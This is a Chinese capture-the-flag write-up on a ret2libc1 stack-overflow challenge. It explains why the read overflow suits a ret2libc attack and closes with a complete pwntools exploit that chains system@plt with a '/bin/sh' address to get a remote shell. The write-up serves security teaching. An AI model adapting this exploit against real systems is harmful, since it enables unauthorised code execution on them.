一道简单的ret2libc——对标wiki的ret2libc1
目录
前言
一、题目信息
1.查看保护
2.IDA反汇编
3.pwntools获取表信息 & "/bin/sh"信息
二、exp
总结
前言
通过查看ELF文件信息,确定攻击方法,实现ret2libc1类型的攻击
一、题目信息
1.查看保护
2.IDA反汇编
得到信息:
- buf[72](0x48)却读入了0x60的信息,经典read栈溢出。
- 存在system,必存在system的plt表信息;
- 调用system,system的got表信息已被填写。
思考ret2text——没有直接后门函数
思考ret2shellcode——bss段/可执行段不符合条件、栈上nx保护
思考ret2syscall——file查看文件,是动态链接,一般来说gadget非常少,不太适合
思考ret2libc——存在system的plt表/got表信息,且存在栈溢出漏洞,可行。
那么有没有“/bin/sh"或"/sh"让我们使用呢?否则还需要构造gets传入"/bin/sh"
—— ret2libc1和ret2libc2的区别
【PWN · ret2libc】ret2libc1_Mr_Fmnwon的博客-CSDN博客
【PWN · ret2libc】ret2libc2_Mr_Fmnwon的博客-CSDN博客
3.pwntools获取表信息 & "/bin/sh"信息
ok,可以开始构造payload
二、exp
具体原理可以看上面两篇博客,栈上如何构成就不在这里细讲了
from pwn import *
context(os="linux",arch="i386",log_level="debug")
sh_addr=0x804a024
system_plt=0x8048390
payload=b'a'*(0x48+0x4)+p32(system_plt)+p32(sh_addr)+p32(sh_addr)#第一个p32(sh_addr)用于占位
io=remote(...)
io.sendline(payload)
io.interactive()
总结
简单的ret2libc1类型题目